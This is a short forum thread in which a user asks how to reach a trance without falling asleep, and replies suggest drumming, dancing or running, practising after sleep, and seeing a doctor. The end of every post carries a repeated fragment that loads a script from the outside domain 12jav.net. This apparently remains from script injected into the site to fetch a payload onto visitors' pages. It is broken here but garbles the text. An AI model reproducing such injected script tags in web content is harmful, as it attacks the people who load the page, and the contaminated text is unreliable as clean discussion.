Reaching trance

I am looking for ways to reach a trance easily, can you help??? I fall asleep, so that's the problem. Maybe if you could suggest me an effective video from youtube? Anything that'll make me reach trance easily. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

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If you find that you're falling asleep then perhaps you need to use more extroverted methods (drumming, dancing, swaying, etc) as opposed to introverted (meditation, breath control, etc) methods. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

I tried Shamanic music with drumming, but I wasn't able to reach trance, or even fall asleep. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

Try using some form of movement, like running or dancing, when you feel very awake. If you still fall asleep doing that, you should see a doctor. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

Practice after waking up from sound sleep, Then there wouldn't be any problems. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>